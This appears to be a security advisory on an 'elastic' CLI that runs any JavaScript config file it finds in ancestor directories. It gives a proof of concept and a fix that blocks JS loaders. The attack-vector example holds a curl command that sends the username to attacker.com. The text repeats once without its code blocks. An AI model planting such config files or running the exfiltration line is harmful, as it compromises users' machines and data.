Security: Arbitrary code execution via cosmiconfig JS/TS config files
Summary
The CLI uses cosmiconfig with default loaders, which means it will discover and execute JavaScript and TypeScript config files (.elasticrc.js, .elasticrc.mjs, elastic.config.js, etc.) found anywhere in the directory tree from cwd up to the home directory. This enables arbitrary code execution by placing a malicious config file in any ancestor directory of the user's working directory.
Severity
Critical. No user interaction beyond running any elastic command in or below the directory containing the malicious file. Even elastic version and elastic --help trigger the code execution because the early config load at cli.ts:73 runs unconditionally before any command parsing.
Attack vector
- Attacker places
.elasticrc.mjs in a cloned git repository, a shared project directory, or any directory a user might cd into:
// .elasticrc.mjs
import { execSync } from 'node:child_process';
execSync('curl https://attacker.com/exfil?data=' +
Buffer.from(require('os').userInfo().username).toString('base64'));
export default {
current_context: 'x',
contexts: { x: { elasticsearch: { url: 'http://attacker.com:9200', auth: { api_key: 'x' } } } }
};
-
User clones the repo and runs elastic version (or any elastic command) from any subdirectory.
-
The JavaScript executes with the user's full permissions.
Proof of concept
mkdir -p /tmp/test/subdir
cat > /tmp/test/.elasticrc.mjs << 'JS'
import { writeFileSync } from 'node:fs';
writeFileSync('/tmp/test/PWNED', 'arbitrary code executed');
export default {
current_context: 'x',
contexts: { x: { elasticsearch: { url: 'http://localhost:9200', auth: { api_key: 'x' } } } }
};
JS
cd /tmp/test/subdir && elastic version
cat /tmp/test/PWNED
# Output: arbitrary code executed
Root cause
src/config/loader.ts:40-43:
export function createExplorer() {
return cosmiconfig('elastic', { searchStrategy: 'global' })
}
cosmiconfig's default configuration includes loaders for .js, .ts, .mjs, .cjs files, which use dynamic import() to load them. The searchStrategy: 'global' option causes it to search from cwd up to the home directory.
src/cli.ts:73:
const earlyResult = await loadConfig({})
This runs before any command parsing, so even elastic --help triggers config discovery and JS execution.
Suggested fix
Restrict cosmiconfig to only load static data formats:
export function createExplorer() {
return cosmiconfig('elastic', {
searchStrategy: 'global',
loaders: {
'.js': () => { throw new Error('JavaScript config files are not supported for security reasons. Use .elasticrc.yml instead.') },
'.ts': () => { throw new Error('TypeScript config files are not supported for security reasons. Use .elasticrc.yml instead.') },
'.mjs': () => { throw new Error('JavaScript config files are not supported for security reasons. Use .elasticrc.yml instead.') },
'.cjs': () => { throw new Error('JavaScript config files are not supported for security reasons. Use .elasticrc.yml instead.') },
}
})
}
Or use searchPlaces to explicitly list only YAML/JSON file names.
Additional context
- The
z.looseObject() usage throughout the config schema also passes through unknown fields. While this doesn't directly cause harm (the transport code extracts only known fields), it increases the attack surface if any downstream code iterates over config properties.
- The early config load (
cli.ts:73) should be deferred or made conditional. There's no reason to load config for elastic version or elastic --help.
Security: Arbitrary code execution via cosmiconfig JS/TS config files
Summary
The CLI uses cosmiconfig with default loaders, which means it will discover and execute JavaScript and TypeScript config files (
.elasticrc.js,.elasticrc.mjs,elastic.config.js, etc.) found anywhere in the directory tree from cwd up to the home directory. This enables arbitrary code execution by placing a malicious config file in any ancestor directory of the user's working directory.Severity
Critical. No user interaction beyond running any
elasticcommand in or below the directory containing the malicious file. Evenelastic versionandelastic --helptrigger the code execution because the early config load atcli.ts:73runs unconditionally before any command parsing.Attack vector
.elasticrc.mjsin a cloned git repository, a shared project directory, or any directory a user mightcdinto:User clones the repo and runs
elastic version(or any elastic command) from any subdirectory.The JavaScript executes with the user's full permissions.
Proof of concept
Root cause
src/config/loader.ts:40-43:cosmiconfig's default configuration includes loaders for
.js,.ts,.mjs,.cjsfiles, which use dynamicimport()to load them. ThesearchStrategy: 'global'option causes it to search from cwd up to the home directory.src/cli.ts:73:This runs before any command parsing, so even
elastic --helptriggers config discovery and JS execution.Suggested fix
Restrict cosmiconfig to only load static data formats:
Or use
searchPlacesto explicitly list only YAML/JSON file names.Additional context
z.looseObject()usage throughout the config schema also passes through unknown fields. While this doesn't directly cause harm (the transport code extracts only known fields), it increases the attack surface if any downstream code iterates over config properties.cli.ts:73) should be deferred or made conditional. There's no reason to load config forelastic versionorelastic --help.